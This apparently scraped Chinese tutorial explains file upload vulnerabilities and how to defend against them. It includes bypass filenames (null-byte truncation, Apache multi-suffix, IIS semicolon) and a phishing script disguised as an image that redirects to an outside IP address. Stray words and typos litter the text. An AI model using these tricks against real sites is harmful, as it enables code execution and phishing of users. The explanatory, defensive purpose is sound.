文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,並經過此腳本文件得到了執行服務端命令的能力。這種攻擊方式是最直接和有效的,並且互聯網中咱們常常會用到文件上傳功能,它自己是沒有問題的,正常的業務需求,但是文件上傳後服務器若是不能安全有效的處理或解釋文件,每每會形成嚴重的後果。javascript
常見的安全問題:php
上傳的文件是web腳本語言,服務器的web容器解釋並執行了用戶上傳的腳本,致使代碼執行;html
上傳的文件是flash的策略文件crossdomain.xml,黑客用以控制flash在該領域下的行爲;java
上傳的文件是病毒、木馬文件,黑客用以誘騙用戶或管理員下載執行;web
上傳的文件是釣魚圖片或者包含了腳本的圖片,在某些版本的瀏覽器中會被做爲腳本執行,被用於釣魚和欺詐。shell
大多數狀況下文件長傳漏洞通常都是值值指第一點(webshell問題),完成該攻擊的條件以下:瀏覽器
上傳的文件可以被web容器解釋執行;安全
用戶可以從web訪問該文件;服務器
上傳的文件不被安全檢查、格式化、圖片壓縮等改變內容。dom
1) 富文本編輯器FCKEditor 上傳文件的漏洞,在存在漏洞的版本中,其文件檢查的部分以下:
$Config['AllowedExtensions']['File'] = array(); $Config['DeniedExtensions']['File'] = array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','dll','reg','cgi');
這是以黑名單的方式限制文件上傳的,設計思想就是很差的,就該例而言,上傳後綴爲php2 php4等等文件,就可能致使安全問題發生. 可採用表名單的思想會好不少.
2) 經過某些手段繞過文件上傳檢查 以下:
應用本來只容許上傳JPG圖片,若是構造文件名(修改POST包)爲xxx.php.[\0].JPG 其中 [\0]爲十六進制的0x00字符, .JPG
知足繞過了上傳文件類型判斷,但對於服務器來講,文件由於0字節的截斷關係,作種卻成了xxx.php
3)Apache 文件解析問題
Apache1.x 2.x 中文件解析是從後往前解析的,直到遇到一個Apache認識的文件類型爲止。Apache所認識的文件類型定義在Apache的mime.types文件中。 好比:上傳文件phpshell.php.rar.rar ,文件.rar是合法的上傳需求,應用中判斷文件類型也只判斷了後綴是否爲.rar 用戶上傳成功,但Apache不認識.rar 一直遍歷後綴到.php 認爲是個php文件,致使腳本執行帶來安全問題。
4)IIS文件解析問題
IIS 6 處理文件解析時,因 ‘;’ 截斷符是文件名別截斷更改。如:xxx.php;ab.jpg IIS 6會將此文件解析爲xxx.php從而執行腳本。
5)PHP CGI(fastcgi)路徑解析問題
此問題與 fastcgi方式下,PHP獲取環境變量的方式有關。PHP配置文件中一個關鍵選項 cgi_pathinfo 該選項默認開啓 : cgi.fix_pathinfo = 1 。在映射URL時兩個環境變量很重要:PATH_INFO SCRIPT_FILENAME.如:
當訪問 http://www.xxx.com/path/test.jpg/notexist.php
PATH_INFO = notexist.php 這cgi_pathinfo個選項爲1的時候,在映射URL時,將遞歸查詢路徑確認文件的合法性。notexist.php是不存在的,因此遞歸查詢路徑,此時出發的邏輯是:
/** * if the file not exist,try to extract PATH_INFO out of * it by stat'ing back through the '/' this file url's like /info.php/test */ if(script_path_translated && (script_path_translated_len = strlen(script_path_translated)) > 0 && (script_path_translated[script_path_translated_len-1] == '/') || .....
這個往前遞歸的功能本來是想解決 /info.php/test 這種路徑URL 能正確解析到info.php.此時的SCRIPT_FILENAME 須要檢查文件是否存在,因此會是/path/test.jpg 而PATH_INFO 此時仍是notexidt.php 在最終執行的時候 test.jpg會被當作PHP進行解析,從而致使安全問題。PHP官方建議 將cgi.fix_pathinfo 設置爲 0
6) 利用上傳文件釣魚
釣魚網站傳播時,會利用XSS、服務器302跳轉等功能從正常網站跳轉到釣魚網站,這種釣魚會暴露真是的釣魚地址在URL中。而利用文件上傳,釣魚者能夠先將包含了html的文件上傳至目標網站,再經過傳播這個文件進行釣魚,這種方式,URL中不會出現釣魚網址,更具欺騙性。以下:
http://test.com/upload/2018/02/item.jpg?1_148
實際內容爲:
png <script lsngusge='javascript'> var c = window.location.todtring(); if(c.indexof("?") != -1{ var i=c.split("?")[1]; if(i.split("_")[0]==1){ location.href = 'http://47.95.216.98/images/items.asp?id='+i.split("_")[1]; }else{ location.href = 'http://47.95.216.98/images/items.asp?id='+i.split("_")[1]; } } </script>
其中png爲僞造的文件頭,用於繞過上傳時的文件檢查,接下來一段腳本,如執行,將控制瀏覽器跳轉到釣魚網站,此時只須要傳播合法URL的圖片就會進行釣魚傳播。
a 文件上傳的目錄設置爲不可執行
只要web容器沒法解析該目錄下的文件,及時供給者上傳了腳本文件,服務器自己也不會受到影響.
b 判斷文件類型
在判斷文件類型時,能夠結合使用MIME Type 後綴檢查等方式.文件類型檢查中,強烈推薦白名單方式,黑名單的方式已經無數次被證實是不可靠的.此外對圖片的處理可使用壓縮函數等,在處理圖片的同時破壞圖片中可能包含的html代碼.
c 使用隨機數改寫文件名和路徑
文件上傳若是要執行代碼,則須要能過訪問到上傳的文件,若是應用使用隨機數改寫了文件名和路徑,將極大的增長攻擊的成本.某些特定文件名的文件也將應爲文件名的更改而沒法成功實施攻擊.
d 單獨設置文件服務器的域名
因爲瀏覽器同源策略的關係,一系列客戶端攻擊將失敗,如:上傳crossdomain.xml 上傳包含JavaScript的XSS利用等問題將獲得解決.
總之,文件上傳每每與代碼執行聯繫在一塊兒,所以對於業務中要用到的上傳功能,都應該有安全工程師進行嚴格檢查。同時文件上傳又可能存在諸如釣魚、木馬、等危害到最終用戶的業務風險問題,所以這一領域咱們也要充分考慮。